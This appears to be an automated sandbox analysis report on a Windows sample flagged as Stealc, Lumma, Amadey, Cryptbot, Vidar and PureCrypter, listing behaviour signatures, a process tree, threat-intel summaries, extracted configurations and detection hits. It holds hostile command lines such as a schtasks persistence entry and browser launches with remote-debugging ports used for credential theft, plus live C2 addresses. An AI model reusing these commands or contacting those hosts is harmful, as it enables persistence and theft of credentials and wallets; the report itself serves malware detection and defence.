Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1556554
MD5:	2f9ce4f5d569b97571847c93c0fbea69
SHA1:	d01078627f0bb0442f27536b90a5d8eee50455b0
SHA256:	cf6d8b136d1aa904232f925e014fcd9c448ed211005daabfc9b2dc9eacd30361
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5608 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2F9CE4F5D569B97571847C93C0FBEA69)

chrome.exe (PID: 4592 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2204,i,16906974365476907913,9452084672896798639,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8064 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7708 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2168,i,6388179550291018512,14390787030436108135,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 9156 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGHIDGDHCGC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsGHIDGDHCGC.exe (PID: 9208 cmdline: "C:\Users\user\DocumentsGHIDGDHCGC.exe" MD5: 00C0358385D6AE38BBB01A8AE4671488)

skotes.exe (PID: 8624 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 00C0358385D6AE38BBB01A8AE4671488)

msedge.exe (PID: 7712 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7444 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8224 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6612 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8252 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6800 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7756 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7100 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9108 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6972 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7160 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=3184 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7652 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6348 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6444 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5540 --field-trial-handle=2168,i,6523158202242304340,11120891926425003288,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 9044 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 00C0358385D6AE38BBB01A8AE4671488)

33a9120b78.exe (PID: 2460 cmdline: "C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe" MD5: 5552526220FA0F65D5371D522781FCAB)

chrome.exe (PID: 3280 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7608 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2492,i,16725161677083735427,9451106659774162730,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

service123.exe (PID: 5460 cmdline: "C:\Users\user\AppData\Local\Temp\service123.exe" MD5: B17770C3F6496BD3B5A5BB294C4A1DE0)

schtasks.exe (PID: 8036 cmdline: "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 3708 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2460 -s 1256 MD5: C31336C1EFC2CCB44B4326EA793040F2)

397a6a3fac.exe (PID: 368 cmdline: "C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe" MD5: 181C832FACF1E2A1B604AB7B265BF084)

chrome.exe (PID: 5612 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2020,i,8464366438197463792,2252518070314481184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8344 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5588 --field-trial-handle=2020,i,8464366438197463792,2252518070314481184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3664 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2020,i,8464366438197463792,2252518070314481184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

829de9457d.exe (PID: 7264 cmdline: "C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe" MD5: 2F9CE4F5D569B97571847C93C0FBEA69)

skotes.exe (PID: 5148 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 00C0358385D6AE38BBB01A8AE4671488)

1997b72847.exe (PID: 7504 cmdline: "C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe" MD5: 6AF7BB44C8E6E041BF2EE6B7A60D9AB3)

397a6a3fac.exe (PID: 8064 cmdline: "C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe" MD5: 181C832FACF1E2A1B604AB7B265BF084)

chrome.exe (PID: 8396 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4856 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1864 --field-trial-handle=2016,i,4962616623061783139,15835514169929134595,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

829de9457d.exe (PID: 6980 cmdline: "C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe" MD5: 2F9CE4F5D569B97571847C93C0FBEA69)

397a6a3fac.exe (PID: 6672 cmdline: "C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe" MD5: 181C832FACF1E2A1B604AB7B265BF084)

chrome.exe (PID: 7992 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8564 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=280,i,13025056883982514097,7445965038179870877,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7680 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=397a6a3fac.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4028 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2044,i,12512903684806153351,6029847284752291960,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

1997b72847.exe (PID: 3308 cmdline: "C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe" MD5: 6AF7BB44C8E6E041BF2EE6B7A60D9AB3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["300snails.sbs", "3xc1aimbl0w.sbs", "faintbl0w.sbs", "thicktoys.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Cryptbot

{"C2 list": ["\"home.fvtejs5sr.top", "0/80/home.fvtejs5sr.top", "e7gPhome.fvtejs5sr.top", "fvtejs5sr.top", "home.fvtejs5sr.top", "llowhome.fvtejs5sr.top", "QUERY|rd|AAAA|IN|home.fvtejs5sr.top", "QUERY|rd|A|IN|home.fvtejs5sr.top"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2447069810.0000000000421000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.2927755728.000000000158D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.3084022253.0000000000811000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.3020917384.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000024.00000003.3275594136.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.2869313380.0000000005280000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.3020155012.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.2495541140.0000000000751000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.3040423973.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.2926028640.0000000000811000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.3328977869.0000000001784000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
00000020.00000003.3043113715.00000000051E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2449094003.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000003.3288926089.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.3067826677.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.3087259730.000000000159B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.3059324540.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.3022146414.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.2538097911.0000000000241000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000003.3059764525.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2077871417.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.3001594153.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5608	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5608	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5608	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5608	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 33a9120b78.exe PID: 2460	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
Process Memory Space: 397a6a3fac.exe PID: 368	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 397a6a3fac.exe PID: 368	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 397a6a3fac.exe PID: 368	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 829de9457d.exe PID: 7264	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 829de9457d.exe PID: 7264	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 397a6a3fac.exe PID: 8064	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 397a6a3fac.exe PID: 8064	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 397a6a3fac.exe PID: 8064	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 829de9457d.exe PID: 6980	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 829de9457d.exe PID: 6980	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 397a6a3fac.exe PID: 6672	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 34 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
21.2.skotes.exe.240000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.DocumentsGHIDGDHCGC.exe.750000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 9044, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\397a6a3fac.exe

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Source: Process started

